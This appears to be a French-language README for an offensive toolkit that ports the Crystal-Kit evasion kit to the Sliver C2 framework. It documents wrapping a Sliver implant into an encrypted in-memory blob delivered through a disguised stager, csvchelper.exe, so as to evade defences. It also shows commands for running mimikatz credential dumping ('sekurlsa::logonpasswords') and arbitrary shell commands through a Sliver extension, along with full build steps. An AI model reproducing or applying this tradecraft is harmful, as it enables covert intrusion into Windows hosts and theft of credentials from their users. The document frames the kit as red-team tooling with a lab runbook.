Kit d'évasion Crystal Palace pour Sliver
Kit d'évasion Crystal Palace porté vers Sliver C2.
Il s'agit du premier port public du Crystal-Kit de rasta-mouse (Cobalt Strike) vers Sliver. Il suit le même schéma cross-C2 éprouvé par Crystal-Kit-Xenon (Mythic).
Remplace le loader réflectif par défaut de Sliver et le chemin d'exécution post-ex par Crystal Palace (Raphael Mudge, BSD). Le résultat est un blob de code indépendant de la position (PICO) qui regroupe :
LoadLibrary / GetProcAddress en clair)VirtualAlloc / VirtualProtect / VirtualFree / LoadLibraryALa DLL d'implant Sliver (ou toute DLL post-ex) est masquée par XOR dans le PICO et n'est démasquée qu'en mémoire au moment de l'exécution.
La DLL d'implant Sliver brute n'est jamais exécutée directement sur la cible. Elle est plutôt enveloppée avec Crystal Palace dans un PICO, chiffrée en AES-256-CBC, et livrée avec un stager personnalisé (~17 Ko) qui la déchiffre et l'exécute en mémoire.
sliver-server generate --format shared → impl.dll
│
▼
generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO)
│
▼
bundle-stager.sh → csvchelper.exe (~17 KB, no embedded payload)
→ payload.dat (~36 MB AES-256-CBC ciphertext)
│
▼ deliver BOTH files to same directory on target
▼
Windows VM: csvchelper.exe
│
▼ BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory
▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry
▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session
Une fois une session active, exécutez les DLL sensibles (recon, dumpers d'identifiants, etc.) via Crystal Palace au travers d'une extension Sliver.
sliver > extensions install crystal-loader-0.1.0.tar.gz
sliver > crystal --payload C:/path/mimikatz.pico.bin
Transmettez des arguments runtime sans rebuild en les ajoutant après | :
sliver > crystal --payload C:/path/file.pico.bin|args here
La crystal-loader.x64.dll est une extension DLL Sliver qui lit le blob PICO depuis le disque dans une région VirtualAlloc(RW), la passe en RX avec VirtualProtect, puis saute à l'entrée de Crystal Palace. Aucun mappage PAGE_EXECUTE_READWRITE n'est jamais conservé. Les chemins utilisent le forward slash. Le format des arguments est type:string (pas de binaire BOF). La DLL est chargée en mémoire par Sliver — elle n'est pas écrite en tant que fichier sur le disque de la cible.
crystal-exec est une seconde commande incluse dans la même extension. Elle exécute des commandes shell arbitraires à travers l'évasion Crystal Palace en utilisant un PICO intégré directement dans la DLL de l'extension — aucun fichier PICO à uploader.
sliver > crystal-exec --cmd "whoami /all"
La sortie est renvoyée à l'opérateur via la session Sliver existante par un pipe. C'est le chemin le plus rapide pour des commandes shell ponctuelles lorsque vous n'avez pas besoin d'une DLL post-ex complète.
crystal-kit-sliver/
├── loader/ ← Reflective loader sources (Use case A) — verbatim from Crystal-Kit
├── postex-loader/ ← Post-ex loader sources (Use case B) — Crystal-Kit + Xenon patch
├── libtcg.x64.zip ← Upstream binary dependency (kept in tree for build convenience)
└── sliver-glue/ ← Sliver-specific build glue
├── extension.json Sliver Extension manifest
├── generate.sh Wrap a post-ex DLL → PICO (Use case B)
├── generate-implant.sh Wrap a Sliver DLL → PICO (Use case A)
├── bundle-implant.sh Bundle PICO + Crystal Palace demo stager into drop.zip (legacy)
├── bundle-stager.sh Build custom stager: csvchelper.exe + payload.dat (primary)
├── pack-extension.sh Pack DLL + manifest into Sliver Extension tarball
├── Makefile make objects / package / clean
├── stager/ Custom stager sources (AES-256-CBC, asInvoker manifest)
└── wrapper/ crystal-loader.c (BOF-compat DLL wrapper)
docs/
├── RUNBOOK.md Step-by-step Kali → Windows lab procedure
├── PORTING_MAP.md File-by-file mapping Crystal-Kit → this repo + literal diffs
└── TOOLCHAIN.md Build prerequisites and pipeline details
# 1. Toolchain
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl
# 2. Crystal Palace dist (BSD-3-Clause, Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
| tar -xz -C external/crystalpalace/
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
# 3. Build everything
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
make -C crystal-kit-sliver/sliver-glue/crystal-exec all
# 4. Use case A — wrap a Sliver implant and build the stager
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → produces build/csvchelper.exe + build/payload.dat (deliver both to target)
# 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
# With baked-in args: postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit"
./crystal-kit-sliver/sliver-glue/pack-extension.sh
# 6. crystal-exec — rebuild the built-in command executor (only needed after modifying crystalexec.c)
cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd -
./crystal-kit-sliver/sliver-glue/pack-extension.sh
Voir docs/RUNBOOK.md pour la procédure opérateur complète (installation de Sliver, configuration du listener, exécution sur la cible, dépannage).